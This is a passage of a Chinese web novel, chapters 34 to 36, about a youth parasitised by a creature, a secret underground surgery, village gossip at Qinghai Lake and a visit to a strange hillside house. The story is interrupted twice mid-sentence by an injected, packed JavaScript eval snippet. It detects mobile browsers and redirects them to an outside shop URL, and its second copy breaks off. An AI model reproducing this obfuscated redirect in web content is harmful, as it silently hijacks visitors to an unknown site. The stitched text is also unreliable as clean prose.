闻言,冷柏山转头,冷冷瞥了刁金花一眼,眼底却怒火翻涌,摆明了已经把她当成了这事儿的罪魁祸首,刁金花也能理解他的情绪,人家孩子老大远来抚仙湖,她作为东道主没照看好,出了事,确实也算是她的责任。 这事儿确实难办,之后还有事要跟他相商,也不能把关系搞得太差,刁金花只能拉下脸来,陪着小心解释:“冷兄弟,你放心,我们已经做了一些处理,冷毅眼下应该没有性命之忧,你放心!唉!这事儿闹的,我们也实在没有想到会这样!第一时间就想方设法救了,中医、西医、偏方……各种方法都试了,但这种情况我们实在是也不知道怎么救……” 冷柏山懒得听她的长篇大论,冷硬着声音,不耐烦地出声打断:“我现在只想知道,你们有什么救治办法吗?还是说只是等着我来收尸?” 这话带着针尖,藏着怒火。 刁金花不敢惹,连连摆手:“不不不,冷兄弟你误会了,事情紧急,我们叫你来也是想要商量看怎么处理,怎么都得想方法保住孩子一条命不是?” 冷柏山没说话,刁金花朝刁安邦使了个眼色,刁安邦立马快步上前,开始一五一十地介绍冷毅的救治情况。 “我们这边前期做了很多救治方案,各种杀菌消毒的药都用了,没效果,眼下这种情况,我这边的建议是……是……” 说到这里,刁安邦犹犹豫豫,瞅着冷柏山的脸色,没敢继续往下说。 冷柏山盯着刁安邦,冷静地问:“所以建议是什么?” 刁安邦不敢直接说,看了一眼刁金花,见她点头应允,他这才往下说:“截肢!而且不能再等了!再等下去,情况会进一步恶化,他整个身体都会被寄生!” 说到“寄生”两个字时,刁安邦还刻意加重了读音,似乎是想要强调事情的紧急性。 冷柏山虽然已经设想过最糟糕的情况,但突然听到这两个字,还是眼前一黑,差点一口气没喘上来。 前车之鉴就摆在眼前,宋浮尘也知道如果不干预,冷毅就会一步步恶化,最终变成犭颉的模样,不人不鬼,不生不灭,见不得光。 但一想到好好的孩子,就要为此身体残缺,实在揪心。 进一步是截肢,退一步变成犭颉,两相对比,他还是知道孰轻孰重的,于是没有犹豫多久,一狠心一咬牙,问道:“截肢去哪里做?有靠谱的医生吗?” 刁金花赶忙接话:“冷兄弟,你放心啊,我们既然提了这样的建议,就代表我们已经做好了准备,冷毅这样的情况去医院不合适,我们地下室里有一流的手术室,你放心,至于医生……” 她停下来,指了指一旁的刁安邦,接着说:“安邦是我们刁家优秀的后生,年轻时凭借优异的成绩考上了国内数一数二的医科大学,本硕博连读了十多年,后来在我们省三甲医院干了十多年,冷兄弟,你放心,他很有经验,也很专业!” 冷柏山闻言,回头看了一眼刁安邦,阴沉着面色,低头思考了片刻,然后说道:“行!眼下冷毅情况危急,就按你们说的办,不过我这次来带了两个专家过来,想让他们跟着我一起全程观摩手术过程!” 毕竟是自己孩子,交到别人手里,终究还是不放心。 刁金花明白他的用意,想了想,点头说道:“既然冷兄弟想这么安排,那就这么办吧,我现在就安排人去把那两位专家请过来。” 说完,刁金花转头给了刁安邦一个眼神,刁安邦点点头,听话地转身出去安排了。 几分钟后,院子里就隐隐传来了细碎的脚步声,几个人走得很快,眨眼就已经到了门口。 刁安邦先进屋,李安良和宋浮尘紧随其后,两人一跨进屋,就瞧见冷柏山面色沉重,面前的病床上还躺着一个惨白孱弱的年轻人。 宋浮尘之前没见过冷毅,看这场面,也就知道病床上躺着的是谁了,李安良以前经常出没冷家,跟冷毅是见过几面的,不过在他印象里,这孩子健壮皮实得很,跟现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377839|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在虚弱的样子简直大相径庭。 刁金花立在一旁,眼神把两人上上下下仔细打量了个遍,末了冲着两人挤出了一抹微笑,两人根本不知道这老妪是谁,也没心思关注她,也只是瞥了一眼,淡淡地点了个头。 两人快步走到冷柏山身边站定,几乎同时开口发问:“怎么样?” “你们看看吧!” 冷柏山说着朝床上的冷毅摆摆头,示意他们走近点再看看,两人互看了一眼,又往床前走了几步,同时探头去看,结果这一看不要紧,吓得两人都是一个激灵。 李安良以为是自己看花了眼,使劲眨眨眼又去看,等看清,胳膊上起了一层鸡皮疙瘩。 “这……怎么回事儿啊?” 宋浮尘虽是见过的,但再次见到这种场面,还是一颗心扑通扑通狂跳不止,瞪大了眼睛,呆立在一旁。 所以,犭颉伤了冷毅,冷毅一点点异化,最后又会变成犭颉?宋浮尘心惊于这种可怕的模式,让他不禁联想到很多香港的僵尸片,被僵尸咬了,最后也会变成僵尸,虽然他也是个半吊子的道士,但心里也慌啊,到底比不上林正英术业有专攻。 慌的主要原因是因为现在还没找到对付犭颉的方法,这也意味着任何一个人,被犭颉弄伤了都有可能变成犭颉,这是一件多么可怕的事。 一旁的李安良显然被吓得不轻,脸色都变了,不过很快,好奇心和求知欲就占据了上风,他立马弯下腰,扶着眼镜,盯着冷毅的伤口又是一顿细致观察,小心翼翼地敲敲按按,闻闻嗅嗅,就像在研究什么新课题,带着一股子莫名的兴奋劲。 既有前车之鉴,宋浮尘已经能预料事态的发展,实在不忍多看,惋惜地叹了声,又转头心疼地看向那位仿佛瞬间颓然老去的老父亲,搜肠刮肚想说一些安慰的话,但他这人实在没这种天分,想来想去也不知道该说什么。 末了,叹了口气,看向冷柏山:“现在打算怎么办? 冷柏山面如死灰,重重地吐出一口气:“没办法,只能截肢了!” 唉,这也是没有办法中的办法了! 宋浮尘自然知道其中的利害关系,点点头:“眼下确实也没什么更好的办法了!” 李安良虽是生物系教授,但也没见过这种“寄生”的状况,实在不敢轻下断言,沉默地站在一旁。 冷柏山无力地闭上了眼睛,冲着刁金花幽幽开口:“既然这样,那就尽快安排手术吧!” 李安良和宋浮尘这才将注意力转移到一旁的老妪身上,她个子不高,长得瘦削,脸上皱纹纵横,看起来普普通通,但眼神阴鸷、精光闪烁,看起来就不好惹。 刁金花点点头,转头看了一眼刁安邦,刁安邦立马转身快步走到门口,探身出去叫了一声:“刁濯,你进来一下。” 等到刁濯进了屋,刁金花看着刁安邦和刁濯,吩咐道:“冷毅要马上手术,你们现在赶紧安排一下。” 刁濯看着满屋子人,一时没反应过来,以为自己听错了:“现在?在这儿?” “嗯!手术早做早安心嘛!” 听到确定的回答,刁濯还是不敢相信,还以为是花姐老糊涂了,现在马上安排手术,也没让别人避开,那岂不是要当着外人的面打开密室?当着那么多人打开的密室,那还叫密室吗? 她一脸迷惑地看了看一旁的刁安邦,只见他面色不惊地站着,也不吱声,刁濯心想您可真沉得住气啊! 她实在忍不住拿胳膊撞了撞他,那意思是让他吱个声,结果刁安邦看了看刁濯,又看了看刁金花,最后还是选择了闭嘴。 真是不顶用啊!刁濯无语地给了他一个大白眼,又扫了对面冷柏山他们几人一眼,径直问刁金花:“这么多人一起去吗?” 冷柏山见刁濯的反应,大概也猜了出来,刁家应该是有一处秘密空间,里面有手术室,而且刁金花刚刚也提到了地下室。 密室,平常人家自然不会设计,但对有秘密的世家大族来说,并不鲜见,比如说冷柏山他自己。 结合早前收到的消息,刁家人抓住了犭颉,抬进了后院就再也没出来,那犭颉多半也关在了密室里了。 刁金花明白刁濯的担心,微微一笑说道:“没事,眼下给冷毅动手术更重要,冷家跟我们刁家,往上追溯本来就同属一脉,同根同源,其实也不算外人……” 说到这里,刁金花顿了顿,又转头看向李安良和宋浮尘:“至于……冷兄弟带来的人两位专家,想必都是非常值得信赖的人,咱们也不用过多担心,刁家没什么不能看的。” 这话虽说是对着刁濯说的,其实也是说给冷柏山听的,她这是在示好,在表态。 既然当家人都这么说了,刁濯也不好再说什么了,只能照办。 她径直往床后的位置走了几步,在靠近的墙的位置停下,伸手轻轻叩了一下墙面,唰一声,墙面一块A4纸大小的墙面突然挪移收缩,露出一个内嵌的小佛龛,里头供奉着一尊小巧精致的鎏金观音菩萨。 菩萨端坐莲花,慈眉善目,透着无尽的智慧与悲悯。刁濯双手合十,对着菩萨拜了拜,然后小心翼翼捧着佛像底座左右拧转,随着咔哒咔哒的机械声响起,正对着大门的墙面开始缓缓滑动,几分钟后显出一个电梯入口。 !!这地方竟然还藏着电梯?! 宋浮尘惊讶得长大了嘴巴,再一次开眼了! 唰啦一声,电梯门开了,冷柏山几人还没反应过来,刁金花已经快步上前用胳膊拦住了电梯门,扭头催促道:“安邦,你跟刁濯把冷毅的床推进来!” 冷毅躺着的床带轮子,推起了倒是方便,屋里的几个人帮着把床推进了电梯,电梯面积不小,呈长方形,床能直接推进去,屋里几人都站进去,里头还有很大的富裕。 待所有人站定,刁金花按了关门的按钮,电梯开始缓缓下行,门口的视野被突然出现的水泥墙一点点占据,之后是视野内就只剩下颗粒粗糙的水泥墙壁,莫名有种憋闷感,宋浮尘甚至下意识屏住了呼吸,好在下落的时间不长,不一会儿视野下方就渐渐露出一个地下空间。 整个空间挑高很高,目测得有四五米,装修的质朴简约,不太像一般居家的装修氛围,反而有点艺术博物馆的调调,墙面整体暗色调,上头挂了好些画,屋子里没有大面积使用灯光,而是散布着射灯,三三两两,星星点点,都打在画上。 空间正中心,放着一张很长的木质长桌,目测长得有五六米,三盏吊灯由天顶长长垂下,正正好打在桌面上,形成一轮轮亮白的光圈,桌子四周围着一圈木质靠背椅子。 别的不说,光看这地儿,这氛围,这调性,要是不知道情况的,多半都会觉得这地儿是搞艺术鉴赏的,谁能想到这里是人家的秘密据点呢! 等电梯到底停稳,刁安邦和刁濯推着冷毅率先出了电梯,沿着一侧的走道,径直往视线尽头小跑而去,滚轮划过地面的隆隆声,在四下里冲撞回响,冷柏山一心担忧冷毅的情况,紧随其后,快步疾行,也无心细看这里的情况。 反倒是宋浮尘和李安良好奇心起,慢慢悠悠跑在后头,一步三回头地四下里乱瞟,尤其关心那墙上一幅幅的画。 刁金花似乎早有防备,刻意放慢脚步,跟在两人身后,突然阴恻恻地出声:“怎么?两位好奇啊?没事,之后有的是时间了解!” 语句虽然还算友好,但配上她不阴不阳的语气,李安良和宋浮尘顿时觉得后背一阵寒凉。 他们两人互看了一眼,宋浮尘赶忙说道:“走走走,咱们快跟上,冷毅做手术重要!” 说完,拉着宋浮尘的胳膊,快步追赶前方的冷柏山。 *** 35. 山上小院 青海湖,南巴村,位于青海湖西南侧,是个只有百人的小村落。 村子就在湖边,放眼望去,零零落落的平房散落在草场间,房子的格局单一,都是简单的长条形平房,没什么设计。 因为离湖很近,位置得天独厚,本地居民大多在湖边做些小生意。湖边的牧场都被铁丝网拦着了,专门留出一条土道可以直达湖边,沿途在路边用油布搭成的两排棚子,里头是一个挨一个的摊位,有卖手工艺品的,有卖披肩丝巾的,还有不少卖小吃的,炸土豆、烤肠、耗牛肉之类的,一走过去油香、咸香扑鼻。 最近两天也不知怎么回事,来湖边的游客少了很多,一个上午都冷冷清清,这都过了中午了,也没有多少人。 “今儿个阿门了嘛(怎么了),连个尕娃子(人)影都没见着!” 一个卖炸土豆的中年女人坐在摊位后头,一边百无聊赖地挥舞着苍蝇拍子赶苍蝇,一边跟对面的摊主抱怨。 “就是这么个话儿嘛,看这日头(太阳)都快跌(落)咧,实在不行的话我都想回咧嘛(打算回家)。”对面摊主说着也摇摇头。 卖炸土豆的中年女人头上包着头巾,约莫四十来岁,皮肤粗糙黝黑,说着说着就哈欠连天,泪眼婆娑起来,她揉了揉眼睛,回头瞥了一眼身后无所事事的男人。 男人蓬乱着头发,歪坐在椅子上聚精会神地玩手机,她探头过去看了看,应该是在玩游戏,里头哒哒哒的声音不绝于耳。 本来就生意不好,看男人那个邋遢懒散、无所事事的样子,女人莫名有点来气,把苍蝇拍往桌上一扔,伸脚踹了踹男人的椅腿,男人回过头来,满脸疑问地看向女人,女人俯身下去,从桌兜的塑料袋里掏了一把瓜子揣进衣兜里,然后往平房的方向指了指。 “我找旺堆谝一哈子(聊聊天)……你看哈摊子。” 说完也不等男人回答,起身就走。 她口中说的旺堆,是她在南巴村的最好的姐妹,两人不忙的时候总会聚到一起说说话、聊聊天。 她磕着瓜子,穿过一片土坯地的停车场,往常这里停满了全国各地牌照的汽车,这会儿只稀稀拉拉停了几辆,再往前走一二十米,就能看见一个斑驳老旧的平房,门口挂着一个大牌子,用红色字体歪歪扭扭地写着“厕所”两个字。 她远远就看见旺堆挨靠着大门旁坐着,这就是旺堆日常的工作,就是坐在厕所门口收费,上一次1元,青海地广人稀,厕所设施都不好,所以来这边旅游上厕所都是要收费的,别看就这么一间破厕所,每年旅游旺季收入也不少。 旺堆倒在椅子里,双脚搁在一个小木凳上,椅子两条前腿翘起,后背倚靠着墙面,整个人跟躺在躺椅里似的,昏昏欲睡,眼皮耷拉着,脑袋一点一点的。 女人笑嘻嘻地靠过去,拿瓜子丢过去,瓜子落在旺堆身上,她吓了一跳,一下子就惊醒了,她揉了揉眼睛,看着眼前的来人,迷迷瞪瞪地说:“你来啦!” 说完,慢慢坐正,把搁脚的凳子往女人那边踢了踢,示意她坐。 “今儿个(今天)没揽到生意,寻思着找你谝一哈子(聊天),哎,也不晓得这两天阿门了(怎么了),生意蔫儿吧唧的,连个来的人影都没见着。” “还能是阿门(怎么)了嘛!说是前儿个(前几天)青海湖里头冒出来个怪物,把人咬得血窟窿,还上电视咧!闹现在游客都不敢往湖边凑了!” “啊?还有这号事?你咋知道哩?” “我男人说的嘛,就是,你们都不看新闻嘛?网上一查就晓得了!” “我近前儿(最近)哪有那闲心上网哩!屋里头那个老棺材瓤子一天到晚躺着,吃喝屙撒(拉撒)全得我操心,药罐子似的还得伺候着看病抓药。就剩屋里头那个没心肝的,成天喜眉笑眼只知道鼓捣游戏!哪像你,没拖累的,活得自在得很!”女人一开口就止不住地抱怨。 旺堆叹了口气,说道:“唉,那话咋说的来着,家家都不容易……” 说完,两个人都沉默了片刻,女人从兜里掏了一把瓜子塞到旺堆的手里,两人又一边磕瓜子一边聊起来,聊着这家谁谁谁儿子家暴,那家谁谁谁出了车祸,谁家刚生了孩子……聊着聊着旺堆突然想到什么,一下子来了精神,一脸八卦地对女人说:“哎,你听说半山腰那一家的事了吗?” 说着伸手往后指了指,虽然身后有房子阻挡,但女人还是很快明白过来:“你是说半山腰断腿的旦正那一家?” 这家是南巴村少有的把房子建在了半山腰上,独门独户,还修了很高的院墙,当家的旦正是南巴村土生土长的汉子,不过年纪很大了,早年间捞卤虫挣了不少钱,后来据说是在捞卤虫的盐湖里出了事,大家都以为他死了,结果过了两年又回来了,腿断了,还带回来一个年轻漂亮的婆娘。 之后就在半山腰上修了房子,两口子很少出门,跟村里人几乎没有什么交流,但这俩这样年龄差距的搭配,难免成为大家茶余饭后的谈资。 女人说完又补了一句:“旦正不是前段时间死了吗?” “嗯,是啊!前两天我在村里杂货铺买东西,见到那个婆娘(女人)咧。” 女人一脸疑惑:“哪个婆娘(女人)?” “就旦正后来娶的那个婆娘,嫁过来得有好几年了吧,听说还生了个娃儿,不过啊……”旺堆说着说着,脸上露出讳莫如深的神情。 “阿门了(怎么了)?” 旺堆的声音下意识低了八度,像是怕被人听了去:“听杂货铺老板说,那婆娘生的娃儿是个残疾,都好几年了,都长不大。” “小树桩子(侏儒)?” “不知道是什么毛病……我前几天见了那婆娘,瘦的皮包骨了,一张小脸惨白惨白的,估计那娃儿的病也是娘胎里带的……” “你说那女的图啥,那旦正都六七十了吧……”女人不解。 “图钱呗,这老汉以前可是捞卤虫的,早些年那虫儿贵得邪乎,几十万块钱一斤,虽说国家不让,但那时候总有人豁出去捞钱,这老汉可是干了不晓得多少票,那婆娘,听说老家是昆仑山底下村子里的,那里日子苦得很,要啥没啥,咱这儿再不济,至少在家门口能挣点钱。再说了,老汉蹬腿了,她还得养娃呢!” “男人死了,一个婆娘还带娃儿,咋活哩?平日里也不见他们出门。”女人觉得可怜,推己及人,忍不住慨叹。 “谁跟你说他们不出门?有天夜里我男人碰见那婆娘,黑灯瞎火带着娃儿,还跟个看不清脸的男人,大半夜在青海湖边晃荡,也不晓得干啥哩!”旺堆说得劲头十足。 “男人?她男人不是死了吗?阿扎俩(哪里)来的男人?” “阿门哩(谁)知道!黑天瞎火哩,我男人瞅见个夯实(健壮)的后脊梁子,估摸是那婆娘闲得慌,找野汉子厮混哩!引着娃儿还干这号腌臜事,日眼(恶心)得很!”旺堆说着瘪瘪嘴,一脸嫌弃的不得了。 两人正说着,忽然听见有脚步声过来了,赶紧打住,同时往后望去,发现湖边来了好几辆suv,车上下来了一群男人,看穿着打扮,不像是普通游客,有几个正往这边走,应该是来上厕所的。 来了几个男人,旺堆按人头收了钱,他们三三两两地往厕所里走,旺堆忽然就听见有两个男人在低声说什么“半山腰的房子”。 她以为自己听错了,结果一旁的好姐妹立马凑过来,拿胳膊撞了撞她,一脸八卦地说:“你听哈没(你听到了吗)?他几个也说哩(也在说)半山腰的房子。” **** 南巴村,半山腰的一处破落院落。 院子是用石头垒的,足足有两米多高,院墙上方用带刺的铁丝网围着,应该是为了防止外人翻入,房子则是随处可见的一长溜平房,但是房子+院子的组合在这地方却不多见。 院子里,一个清瘦的女人面无表情地拖了把椅子,搁在院子中央,然后一屁股坐在上头,眼睛一眨不眨地盯着院门口的方向,一张脸惨白惨白的,没有一点血色,整个人看起来没有一丝活气,怪异得很。 太阳一点点升起,阳光炽烈地让人睁不开眼睛,她像是很害怕太阳,太阳进一寸,她就挪动椅子,跟着退一寸,一直躲在阴处,最后躲无可躲,这才起身搬着椅子退到房檐下搭建的遮阴棚里,然后再次板板正正地坐下,死死盯着院门口的方向。 等到太阳高悬于天空之上,白晃晃的光像是给景致镀了一层虚影,眼睛盯着看久了容易发糊,她使劲眨了眨眼,突然发现上山的路上出现了一个快速移动的黑点。 “回来了……”她默念着,脸上仍旧没什么表情。 又等了一会儿,一个身形高大的男人由远及近,快速闪现大门口,说是个男人,其实整个上半身都被层层叠叠的青草覆盖了,半人高的青草在顶上打个结,然后盖在头上身上,就像是穿着伪装用的吉利服,只能看到两条粗壮的大腿支棱在外头。 男人肩膀的位置上突然高出一截,还不时扑腾两下,女人盯着那一处看着,脸色渐渐变得难看。 “快下来,你们又去哪里了?”女人语气不好。 男人这才扒开青草露出头来,冲着女人傻傻一笑,露出一排大白牙。 这男人长得很奇怪,脑袋大得不协调,头骨甚至有些怪异的凸起。像是长了角,因而整张脸被撑得尤为怪异,五官也有种胡乱生长的凌乱感,鼻子大而长,占据面部大半,嘴巴又薄又长,嘴角微微翘起,眼睛却很小,像两个小绿豆似的,身材膀大腰圆、魁梧有力,整体看起来就是那种发育迟缓,智商不太高的样子,典型的四肢发达,头脑简单的长相。 他没说话,笑嘻嘻地胳膊上抬,把肩头坐着的小孩给举了下来。那小孩个子小小的,跟男人的膝盖一般高,小胳膊小腿圆滚滚的,浑身上下乌漆嘛黑,脏兮兮的,长得倒是贼头贼脑,透着股机灵劲。 “你们去哪儿了?”女人站在一旁,仰头问男人话。 男人似乎很怕女人,缩着脖子,低头看着脚边的小孩儿,没说话。 女人盯着两人仔细看了看,发现两人身上湿漉漉的,顿时警铃大作:“你们大白天下水了?” 男人抖抖嗖嗖,用蹩脚的语调,断断续续地说:“嗯……他想去……去湖边玩……就顺便下了水……” “跟你们说了多少遍了,白天不要到处乱跑!不要下水!你们听不见吗?”女人言语间的怒气渐渐压不住了。 小孩儿在一旁不明所以,吧唧吧唧咬着大拇指。 小孩似乎还没学会说话,嘴巴咕噜咕噜,像在里面养了金鱼。 那男人也学着小孩,嘴巴咕噜咕噜,两人竟然就这样对话起来,女人见状很是不高兴,板着脸瞪了男人一眼,男人赶忙闭嘴。 女人突地一下暴怒出声:“我都说了跟他说人话!!不要嘀嘀咕咕。” 男人被吓了一跳,下意识缩了缩脖子,一脸无辜地看她,末了瘪嘴嘟嘟囔囔应了一句:“哦……知……知道了!” 小孩扒着男人的小腿,一脸无辜地抬头,一会儿看男人,一会儿看女人,然后嘴巴一嘟,嘟噜出声,男人心下一惊,眼疾手快伸手一把捂住了小孩的嘴,然后一脸正色地对着小孩训话:“听到没有,以后咱们说人话!说人话!” 说完,抬头,一脸尬笑着看向女人。 就在这时,突然叮咛一声,响起了手机短信的提示音,女人一愣,紧接着就循着声音,将疑问的目光扫向了对面的小孩,男人顿时心惊,心想不是吧…… 女人弯下腰,朝着小孩伸出手,又勾了两下手指。 “拿来吧!” 小孩咧着嘴冲着女人呵呵笑,然后乖乖地从兜里掏出了手机,手机上黏黏巴巴,都是腥臭的粘液裹着的杂草和碎土。 一旁的男人顿时五雷轰顶,赶忙向女人解释:“我……我……不知道他……他带了手机……” 女人怒火不息,不满地白了男人一眼,语气凶悍地说:“下次再出问题,就把送回阿大那里去!” 男人一听这话,吓得要死,本来就诡异的面部五官,这下子就更扭曲了,他对着女人点头哈腰地保证:“不……不会了,我……我保证再也……也不会出现这种问题了!” 女人鼻腔里哼哼了两声,没搭理男人,自顾自地拽起衣角擦了擦手机的键盘和屏幕,擦了几下,顺势解了锁,手指在屏幕上划了几下后,女人瞬间瞪大了眼睛,整张脸刹那间青一阵白一阵,她紧抿着嘴巴,胸腔剧烈起伏。 男人的绿豆小眼敏锐地觉察到女人的怒气值正在飙升,下一秒就要受到波及,他大气不敢出,一双小眼眨个不停,正准备拽着小孩偷偷往后挪几步,结果脚刚抬起了,就听见女人愤怒的暴吼。 “你们到底去湖边干什么了?” 男人知道女人一定是在手机里看到了什么,才会如此怒不可遏,他低头看了看搂着自己膝盖一脸天真无邪的小孩,心里直叹气,心想着今天完了。 “说!” 女人突如其来的一声,尖锐而狠戾,吓得男人浑身一哆嗦,他不敢再隐瞒,心虚地眨巴着绿豆小眼,战战兢兢地说:“就……就……他想去跟水里那家伙玩玩,顺便看看那辆落水的车,我们偷偷去的……应该没事,没人会发现的。” 男人说完低眉顺眼的不敢吱声了。 女人气得恨不得猛扇男人几巴掌,但心里也知道于事无补,他是个实验的残次品,不论是外形,还是智商,都不令人满意,唯独浑身上下用不尽的蛮力值得一提,而这也正是她需要的东西,脑子她有就行了。 她反复安慰自己小题大做了,可能根本没事儿,于是强制压下怒火,尽量心平气和地说:“我说了多少次,白天不要去湖边,更不要下水,有事,那个家伙自己会处理,你们不要暴露!能听懂吗?” 说完,眼神无意地往山下瞟了一眼,只这一眼就跟雷劈了似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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停下的位置刚好在坡下,他们趴坐着探头往院子这头看,透过镂空的院门,看到有个女人正在院子里扫地,似乎并没有觉察到他们的到来。 “要不然,先派人过去探探路?”众人围在一起议论。 “探路,还探什么路啊,奶奶的,直接杀过去得了!看看是人是鬼!”西瓜皮耐不住性子,觉得多此一举。 见老大如此莽撞无脑,几个小年轻望着他,眼神中有些光辉幻灭,他们一脸愁苦:“哥,这青天白日的!咱们不是hei社会!要是人家报警了,就不好办了!” “那怎么办?我先过去看看?”西瓜皮自告奋勇。 “别别别!”几个小年轻连忙出声劝阻,同时眼神往一旁的佟刚和张波身上示意。 西瓜皮顿时眼睛一亮,立马明白过来兄弟们的用意,于是清了清嗓子,指着佟刚和张波说:“那你们俩去一个吧!” 说完,又担心别人以为自己是害怕不敢去,赶紧找补:“咱们这些人,也就你们两看起来人模人样的,像是个正经人。” 佟刚也没说什么,看了看众人,说道:“那我去吧!” 张波担心佟刚有危险,忙起身抢着说说:“我去!我去吧!” “不行,我去!” “别说了,我去!” 两人推来推去,西瓜皮可见不得这种兄弟情深的画面,心烦极了,眉毛一拧,嚷嚷道:“你们到底还去不去了?” “去,我去!” 佟刚说着就起身,迈步往院门口走,张波刚想跟上,佟刚一个眼神过来,命令一般,让他不要上前,张波这才停下脚步。 佟刚快步走到院门口,院门是那种简单焊接的铁门,院子里的地没经过特别处理,就是夯实的土坯,经年累月地暴晒,轻轻一扫就尘土扬起,女人看起来似乎对来人一点察觉都没有,正弓腰埋头,心无旁骛地打扫院子。 佟刚刚一靠近铁门,女人就扬起扫帚吭哧吭哧朝着院外一顿狂扫,顿时沙土灰尘飞扬,佟刚迎头盖脸,满身满嘴都是,瞬间变成了一个“土人”,他赶紧屏住呼吸,闭眼往院墙边躲,他猫着腰,一脸狼狈地用手抹了抹脸上的灰,嘴巴噗噗不住地往外吐土。 见佟刚吃了亏,坡下埋伏的一帮人都有些幸灾乐祸、乐不可支,原本还皱着苦瓜脸的西瓜皮,这会儿也歪嘴笑了笑,不禁暗自庆幸,还好去的不是自己。 佟刚等了好一会儿,才探头冲着院子里喊:“大姐!” 结果,话音还未落,女人不管三七二十一,又开启了一波“尘土攻击”,这回佟刚聪明了,见形势不对,立马把头缩了回去,基本没有被“火力”攻击到,他在院墙边等到尘土下落,视野稍稍清晰,他这才又探头回去,提高了音量,冲着院子里喊:“大姐!” 女人没搭理,仍旧埋头扫地。 “大姐!”佟刚扯着嗓子又喊了一遍。 女人似乎这才听见,回头看了佟刚一眼,她长衣长袖还带着遮阳的草帽,几乎全副武装,只露出了两只眼睛在外头,她拖着扫帚,慢慢踱步往铁门边走,在距离一两米的位置停了下来。 她不动声色地看了看眼前的男人,语气不善地问:“阿门了(怎么了)?” 浓郁的本地口音,佟刚半猜半蒙,觉得人家应该是在询问自己来干嘛的,于是赶忙陪着笑脸,凑到院门口。 “哦哦,就是想问一下,您是一个人住在这儿吗?” 女人似乎是听懂了,满眼露出警惕的神色。 佟刚立马意识到自己的话唐突了,赶忙微笑着找补:“哦,我的意思是,您有没有看到一个小孩?这附近就只有您一家吗?” 话音未落,女人就连连摇头表示不知道,帽子两侧耷拉的遮阳布被甩到身后,露出头上包裹着的白色布巾和惨白清瘦的脸庞,看起来还挺年轻的。 佟刚瞬间一愣,这是……孝帽?这家刚死了人? 不是!等等……这女人怎么好像在哪里见过? 虽然只是一瞬,女人很快就扯好了遮阳布,但佟刚还是抓住了那个瞬间,他定定地看着女人,眼前的景象和记忆中的画面慢慢重叠,他越发觉得眼前这个女人眼熟。 女人见佟刚的眼神有异,顿时心跳如鼓,低头扬起扫帚就往外赶人。 “走走走,赶紧走,我可不认得你要找的什么娃!” 佟刚下意识往后退了两步,眼神却不曾从女人脸上离开,他非常肯定,这女人他分明在哪里见过!只是,在哪里见过呢?他皱着眉好一顿苦思冥想,就在女人转身要往屋里走的瞬间,他脑子里突然灵光一闪。 对!在冷柏山的书房里! 他见过一张合影,那女人跟眼前这女人不说百分百相似吧,也至少有九成,这世上真会有这么相似的两个人吗?会不会…… 想到这里,佟刚突然大声冲着屋里喊:“冷柏山!您或许认识吗?” ***** 36. 翻墙 青海湖边,观澜客栈。 周游和二百八前脚刚离开,冷晚晚后脚就要回房,小夭赶紧跟上,一脸八卦地追问:“说实话,你跟那个周游是不是有点什么?别否认啊,我的眼睛可是尺!” 冷晚晚伸手就给了小夭脑门一下子,咚一声响,小夭捂着脑门儿疼得直龇牙,委屈巴巴地嘟囔:“干嘛啊!说都不能说啊!” 冷晚晚岔开话题,问道:“你不给央金看店了?” “没事儿!她一会儿就回来了,反正现在也没客人!诶,你说说呗,你跟那个周游什么情况?” “没什么情况啊,就下水碰上了呗!!” “没情况?”小夭一脸怀疑,“没情况,你们俩那一脸心虚的样子?你跟我说实话,你是不是发现他没那么傻,又重新燃起兴趣了?” 没完没了,冷晚晚知道小夭这丫头是个打破砂锅问到底的主儿,没有得到她满意的答案,一定会把自己烦死。 冷晚晚转念一想,不行,得主动出击,于是扭头瞥了小夭一眼,突然问:“你刚刚是不是给佟刚打电话了!” 小夭心里咯噔一下,眼睛滴溜溜乱转,心想自己才刚表完决心,结果清醒没有两秒就又疯狂给佟刚打电话,显得自己特别没原则、恋爱脑,立马就想装傻否认,但转念一想,打电话怎么了,又没犯法,怎么就不能打了?于是脑袋一昂,理直气壮点了点头。 “对啊!怎么了?不能打电话吗?” 冷晚晚若无其事,不答反问:“他接了吗?” 这一句话瞬间让小夭泄了气,她耷拉着脑袋,摇摇头,十分丧气地说:“我一连给他打了十几个电话,都没接。” 小夭原本以为冷晚晚要吐槽她没出息呢,结果冷晚晚转头对她说:“那就接着打,打到他接为止!我太累了,我要先回去睡会儿。” 说完,就大踏步走到房门口,开门进了房间,小夭颇感意外,这下有了冷晚晚的首肯,她电话打得更欢实了,只是打来打去,电话一直没人接,但也没被按掉。 冷晚晚洗完澡就躺在床上闭上了眼,她实在太累了,小夭很识趣,从包里翻出几根棒棒糖塞进兜里,轻手轻脚地跑到玻璃窗前的沙发上躺下,一个接一个给佟刚打电话。 眼见着时间一点点过,外头天光渐渐西移,小夭也没指望佟刚能接了,只是机械化、负气似地一个接一个地打,等到日头落下,云霞漫天,电话那头突然嘟一声。 竟然接通了! 她一下子激动地坐起身来。 “喂,佟刚,你去哪儿了?怎么不接电话?你知不知道我们都很担心你!” 小夭一开口就是一长串的连珠炮。 电话那头久久没人出声,接着她听到什么东西摩擦地面的声音,像是有人拖着什么东西在地上走,小夭一下子机警起来,屏息凝神地听着电话那头的动静,摩擦的声音很快停止,接着有重重的足音响起,一下一下,像是往远处走,再接着突然响起了两声男人的凄厉叫喊。 猝不及防,吓得小夭浑身一嘚瑟,手机瞬间脱手,重重地摔在了地上,啪一声响。 冷晚晚瞬间惊醒,睡眼惺忪地翻身坐起,还没搞清楚是什么情况,率先看向远处脸色惨白、惊慌失措的小夭。 